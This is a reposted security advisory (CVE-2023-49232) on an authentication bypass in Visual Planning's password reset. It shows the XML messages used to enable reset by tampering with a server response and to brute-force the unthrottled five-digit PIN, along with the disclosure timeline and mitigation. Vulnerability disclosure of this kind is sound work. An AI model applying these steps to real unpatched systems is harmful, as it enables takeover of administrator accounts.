{"id":56096,"date":"2024-04-05T23:30:21","date_gmt":"2024-04-05T19:30:21","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177960\/SCHUTZWERK-SA-2023-004.txt"},"modified":"2024-04-05T23:30:21","modified_gmt":"2024-04-05T19:30:21","slug":"visual-planning-8-authentication-bypass","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/visual-planning-8-authentication-bypass\/","title":{"rendered":"Visual Planning 8 Authentication Bypass"},"content":{"rendered":"<p>&#8212;&#8211;BEGIN PGP SIGNED MESSAGE&#8212;&#8211;<br \/>Hash: SHA512<\/p>\n<p>Title<br \/>=====<\/p>\n<p>SCHUTZWERK-SA-2023-004: Authentication Bypass via Password Reset <br \/>Functionality in Visual Planning<\/p>\n<p>Status<br \/>======<\/p>\n<p>PUBLISHED<\/p>\n<p>Version<br \/>=======<\/p>\n<p>1.0<\/p>\n<p>CVE reference<br \/>=============<\/p>\n<p>CVE-2023-49232<\/p>\n<p>Link<br \/>====<\/p>\n<p>https:\/\/www.schutzwerk.com\/advisories\/schutzwerk-sa-2023-004\/<\/p>\n<p>Text-only version:<br \/>https:\/\/www.schutzwerk.com\/advisories\/SCHUTZWERK-SA-2023-004.txt<\/p>\n<p>Affected products\/vendor<br \/>========================<\/p>\n<p>All versions prior to Visual Planning 8 (Build 240207) by STILOG I.S.T.<\/p>\n<p>Summary<br \/>=======<\/p>\n<p>Unauthenticated attackers can exploit a weakness in the password reset <br \/>functionality of the Visual Planning[0] application in order to obtain <br \/>access to arbitrary user accounts including administrators. In case <br \/>administrative (in the context of Visual Planning) accounts are <br \/>compromised, attackers can install malicious modules into the <br \/>application to take over the application server hosting the Visual <br \/>Planning application.<\/p>\n<p>Risk<br \/>====<\/p>\n<p>The application does not impose any limits on the number of guesses that <br \/>can be made. Attackers can therefore initiate the reset for arbitrary <br \/>users and automate the pin validation process until a valid pin is <br \/>obtained. The vulnerability allows unauthenticated attackers to gain <br \/>access to arbitrary user accounts including administrators.<\/p>\n<p>Failed pin validation attempts are not logged by the application which <br \/>greatly increases the difficulty of detecting ongoing attacks.<\/p>\n<p>With administrative access to Admin Center, attackers can install <br \/>malicious modules containing Java code that is executed on the <br \/>application server, resulting in arbitrary command execution.<\/p>\n<p>The entire pin space can be enumerated in approximately one to two hours.<\/p>\n<p>Description<br \/>===========<\/p>\n<p>During a recent red teaming assessment, Visual Planning was identified <br \/>as part of the customers internet-facing assets. The software is <br \/>developed by STILOG I.S.T. and provides resource management and <br \/>scheduling features. A security assessment conducted by SCHUTZWERK found <br \/>an authentication bypass in Visual Planning&#8217;s password reset functionality.<br \/>The application Admin Center (vpadmin) communicates with the server <br \/>through an XML-based protocol that utilizes proprietary compression <br \/>methods and is transmitted via HTTP. SCHUTZWERK implemented a custom <br \/>proxy as part of an assessment in order to intercept and manipulate the <br \/>messages exchanged between application and server.<\/p>\n<p>One of the first messages sent by the Admin Center application after <br \/>launch is the following:<\/p>\n<p>&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;UTF-8&#8243;?&gt;<br \/>&lt;com.visualplanning.query.NamedMethodParameter&gt;<br \/>&lt;methodName&gt;canResetPassword&lt;\/methodName&gt;<br \/>&lt;rawResult&gt;false&lt;\/rawResult&gt;<br \/>&lt;userSession isNull=&#8221;true&#8221;\/&gt;<br \/>&lt;values\/&gt;<br \/>&lt;\/com.visualplanning.query.NamedMethodParameter&gt;<\/p>\n<p>In this request, the client asks the server whether it should display <br \/>the &#8220;Forgot your password ?&#8221; button as part of the login form. During <br \/>the assessment, the server responded as follows:<\/p>\n<p>&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;UTF-8&#8243;?&gt;<br \/>&lt;com.visualplanning.query.QueryResult&gt;<br \/>&lt;resultValues&gt;<br \/>&lt;HashtableValue&gt;<br \/>&lt;key&gt;resetPassword&lt;\/key&gt;<br \/>&lt;value class=&#8221;java.lang.Boolean&#8221;&gt;false&lt;\/value&gt;<br \/>&lt;\/HashtableValue&gt;<br \/>&lt;\/resultValues&gt;<br \/>&lt;status&gt;OK&lt;\/status&gt;<br \/>&lt;\/com.visualplanning.query.QueryResult&gt;<\/p>\n<p>By altering the value to &#8220;true&#8221;, the password reset functionality <br \/>becomes accessible in the application. At this point, attackers can <br \/>provide the target username. This causes a request similar to the <br \/>following to be issued:<\/p>\n<p>&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;UTF-8&#8243;?&gt;<br \/>&lt;com.visualplanning.query.NamedMethodParameter&gt;<br \/>&lt;methodName&gt;sendResetPasswwd&lt;\/methodName&gt;<br \/>&lt;rawResult&gt;false&lt;\/rawResult&gt;<br \/>&lt;userSession isNull=&#8221;true&#8221;\/&gt;<br \/>&lt;values&gt;<br \/>&lt;HashtableValue&gt;<br \/>&lt;key&gt;login&lt;\/key&gt;<br \/>&lt;value class=&#8221;String&#8221;&gt;admin&lt;\/value&gt;<br \/>&lt;\/HashtableValue&gt;<br \/>&lt;\/values&gt;<br \/>&lt;\/com.visualplanning.query.NamedMethodParameter&gt;<\/p>\n<p>While handling this request, the server generates a five digit numeric <br \/>pin and tries to send it to the email address associated with the <br \/>provided username. Regardless of whether the email could be successfully <br \/>transmitted, the generated pin is stored in a attribute of the session <br \/>used while performing the reset. It should be noted that the password <br \/>reset request message can be sent directly without enabling the button <br \/>in the GUI if the message format is already known.<\/p>\n<p>To complete the reset process, the correct pin (matching the pin stored <br \/>in the session attribute) must be specified. A message similar to the <br \/>following is issued by the application to validiate the provided pin:<\/p>\n<p>&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;UTF-8&#8243;?&gt;<br \/>&lt;com.visualplanning.query.NamedMethodParameter&gt;<br \/>&lt;methodName&gt;validateResetPasswwd&lt;\/methodName&gt;<br \/>&lt;rawResult&gt;false&lt;\/rawResult&gt;<br \/>&lt;userSession isNull=&#8221;true&#8221;\/&gt;<br \/>&lt;values&gt;<br \/>&lt;HashtableValue&gt;<br \/>&lt;key&gt;login&lt;\/key&gt;<br \/>&lt;value class=&#8221;String&#8221;&gt;admin&lt;\/value&gt;<br \/>&lt;\/HashtableValue&gt;<br \/>&lt;HashtableValue&gt;<br \/>&lt;key&gt;userCode&lt;\/key&gt;<br \/>&lt;value class=&#8221;String&#8221;&gt;58344&lt;\/value&gt;<br \/>&lt;\/HashtableValue&gt;<br \/>&lt;\/values&gt;<br \/>&lt;\/com.visualplanning.query.NamedMethodParameter&gt;<\/p>\n<p>When an invalid pin is provided, the server responds with the following <br \/>XML document:<\/p>\n<p>&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;UTF-8&#8243;?&gt;<br \/>&lt;com.visualplanning.query.QueryResult&gt;<br \/>&lt;resultValues&gt;<br \/>&lt;HashtableValue&gt;<br \/>&lt;key&gt;ERROR&lt;\/key&gt;<br \/>&lt;value class=&#8221;String&#8221;&gt;Invalid code.&lt;\/value&gt;<br \/>&lt;\/HashtableValue&gt;<br \/>&lt;\/resultValues&gt;<br \/>&lt;status&gt;KO&lt;\/status&gt;<br \/>&lt;\/com.visualplanning.query.QueryResult&gt;<\/p>\n<p>In case the pin is valid, the server responds with a VPUser data <br \/>structure similar to the following:<\/p>\n<p>&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;UTF-8&#8243;?&gt;<br \/>&lt;com.visualplanning.query.QueryResult&gt;<br \/>&lt;resultValues&gt;<br \/>&lt;HashtableValue&gt;<br \/>&lt;key&gt;vpUser&lt;\/key&gt;<br \/>&lt;value class=&#8221;com.visualplanning.data.admin.VPUser&#8221;&gt;<br \/>&lt;ID&gt;1&lt;\/ID&gt;<br \/>&lt;UID&gt;C442-53EB-B185-8804-F6BF-70AC-61C3-31BC&lt;\/UID&gt;<br \/>&lt;activated&gt;true&lt;\/activated&gt;<br \/>&lt;comments&gt;Super administrateur&lt;\/comments&gt;<br \/>&lt;email&gt;yahd6Coo@schutzwerk.com&lt;\/email&gt;<br \/>&lt;expiredPasswd&gt;false&lt;\/expiredPasswd&gt;<br \/>&lt;groups\/&gt;<br \/>&lt;imageProfilBase64&gt;&lt;\/imageProfilBase64&gt;<br \/>&lt;ldapSetting&gt;<br \/>&lt;entityID&gt;-1&lt;\/entityID&gt;<br \/>&lt;\/ldapSetting&gt;<br \/>&lt;licenses\/&gt;<br \/>&lt;loginAttemps&gt;0&lt;\/loginAttemps&gt;<br \/>&lt;mobilePhoneNumber&gt;&lt;\/mobilePhoneNumber&gt;<br \/>&lt;name&gt;admin&lt;\/name&gt;<br \/>&lt;ownerID&gt;0&lt;\/ownerID&gt;<br \/>&lt;phoneNumber&gt;&lt;\/phoneNumber&gt;<br \/>&lt;platform&gt;VP&lt;\/platform&gt;<br \/>&lt;resetPasswd&gt;true&lt;\/resetPasswd&gt;<br \/>&lt;resourceUser&gt;false&lt;\/resourceUser&gt;<br \/>&lt;\/value&gt;<br \/>&lt;\/HashtableValue&gt;<br \/>&lt;\/resultValues&gt;<br \/>&lt;status&gt;OK&lt;\/status&gt;<br \/>&lt;\/com.visualplanning.query.QueryResult&gt;<\/p>\n<p>In addition, an empty password is set for the target username. Upon <br \/>first login after reset, a new password must be set for this user.<\/p>\n<p>Solution\/Mitigation<br \/>===================<\/p>\n<p>The vendor suggests to update to Visual Planning 8 (Build 240207)<\/p>\n<p>Disclosure timeline<br \/>===================<\/p>\n<p>2023-11-01: Vulnerability discovered<br \/>2023-11-09: Contact vendor in order to determine security contact<br \/>2023-11-10: Received generic sales response from vendor<br \/>2023-11-14: Contacted CTO of vendor directly<br \/>2023-11-16: Vulnerabilities demonstrated in call with contact at vendor<br \/>2023-11-24: CVE assigned by Mitre<br \/>2023-11-24: Additional technical details provided to vendor<br \/>2023-12-19: Vendor informed SCHUTZWERK that work on fixing the findings <br \/>is in progress<br \/>2024-01-30: Inquired about mitigation status regarding the reported <br \/>vulnerabilities<br \/>2024-01-30: Vendor informed SCHUTZWERK that some of the issues were <br \/>already fixed<br \/>2024-03-08: Sent advisory drafts to vendor<br \/>2024-03-28: Received patch information and release of advisory<\/p>\n<p>Contact\/Credits<br \/>===============<\/p>\n<p>The vulnerability was discovered during an assessment by Lennert Preuth <br \/>and David Brown of SCHUTZWERK GmbH.<\/p>\n<p>References<br \/>==========<\/p>\n[0] https:\/\/www.visual-planning.com\/en\/<br \/>[1] <br \/>https:\/\/cheatsheetseries.owasp.org\/cheatsheets\/Forgot_Password_Cheat_Sheet.html<\/p>\n<p>Disclaimer<br \/>==========<\/p>\n<p>The information provided in this security advisory is provided &#8220;as is&#8221; <br \/>and without warranty of any kind. Details of this security advisory may <br \/>be updated in order to provide as accurate information as possible. The <br \/>most recent version of this security advisory can be found at SCHUTZWERK <br \/>GmbH&#8217;s website ( https:\/\/www.schutzwerk.com ).<\/p>\n<p>Additional information<br \/>======================<\/p>\n<p>SCHUTZWERK Advisories: https:\/\/www.schutzwerk.com\/blog\/tags\/advisories\/<\/p>\n<p>SCHUTZWERK Advisory Policy: https:\/\/www.schutzwerk.com\/en\/advisories\/<br \/>&#8212;&#8211;BEGIN PGP SIGNATURE&#8212;&#8211;<\/p>\n<p>iQJOBAEBCgA4FiEEgLsg7Oj\/wY3LSF87GrXfkTIXLrsFAmYF0TAaHGFkdmlzb3Jp<br \/>ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrtU9xAArJL5rKh3sNRto6xC7bgj<br \/>660J6OALXG9O9qaJo1RHYsVo9287THvSgsPs8\/YXZhFNtkccsdxRll3t3UxC3IOU<br \/>\/h+f612I4lFlk9t0LVH2eu6r8lTw47YLbO9RKoBF0TsysJMnytuM9+BxRyd+nLVo<br \/>rfVxmRfUhDKf5odkDz8IeatmMMeI1e7JuGylWtVOkSxdbCsmwEbObrEsCwe74AR4<br \/>PKJDVb6tq03q1g5H0yq7QLCMyuN7UBc0Jb\/sYkL3hu0m7JlqyCVUfNBaD1pqZvlA<br \/>C3b+DnrJHwAPYKr5I4pKfss5Ghh3+yIaS\/UIyaIImgS6pyBDOJUHULiMKumZYHCl<br \/>r3YWOLAjuTUztRmsktavjgItsf2NsXnBLYMDjZuZtBd6iU7iNKQ4EdbCNt8YCN8w<br \/>KmU3ot2Kwjty2aLj7CBdg8Mrc4Rr3PH2PoXWxSEBMWqokoO2zWVft+5BpJ\/onU2P<br \/>um41+KNb7h7Pf\/QVkU1KOZbwAI9tgJvZn2hHXmbQov0w3s0J9dqNoJ4Eu+qVPMAx<br \/>+Ug9Qvo3Qh325pDEeqxUhOsPh4dHam97ouDYE3XXLlKk8rar8TjhANAHHO4uUltW<br \/>gikWB1VVmGy7XS9lflWE1QLqO8BBK1jZUDU21fWQeAeF64R6NXikj0tkfvjOwwt\/<br \/>CTQ2Nugk2kdYf5d73FSO9ds=<br \/>=PvYR<br \/>&#8212;&#8211;END PGP SIGNATURE&#8212;&#8211;<\/p>\n<p>&#8212; <br \/>SCHUTZWERK GmbH, Pfarrer-Wei\u00df-Weg 12, 89077 Ulm, Germany<br \/>Zertifiziert \/ Certified ISO 27001, 9001 and TISAX<\/p>\n<p>Phone +49 731 977 191 0<\/p>\n<p>advisories@schutzwerk.com \/ www.schutzwerk.com<\/p>\n<p>Gesch\u00e4ftsf\u00fchrer \/ Managing Directors:<br \/>Jakob Pietzka, Michael Sch\u00e4fer<\/p>\n<p>Amtsgericht Ulm \/ HRB 727391<br \/>Datenschutz \/ Data Protection www.schutzwerk.com\/datenschutz<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8212;&#8211;BEGIN PGP SIGNED MESSAGE&#8212;&#8211;Hash: SHA512 Title===== SCHUTZWERK-SA-2023-004: Authentication Bypass via Password Reset Functionality in Visual Planning Status====== PUBLISHED Version======= 1.0 CVE reference============= CVE-2023-49232 Link==== https:\/\/www.schutzwerk.com\/advisories\/schutzwerk-sa-2023-004\/ Text-only version:https:\/\/www.schutzwerk.com\/advisories\/SCHUTZWERK-SA-2023-004.txt Affected products\/vendor======================== All versions prior to Visual Planning 8 (Build 240207) by STILOG I.S.T. Summary======= Unauthenticated attackers can exploit a weakness in the password reset functionality of the &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56096","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56096","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56096"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56096\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56096"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56096"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56096"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}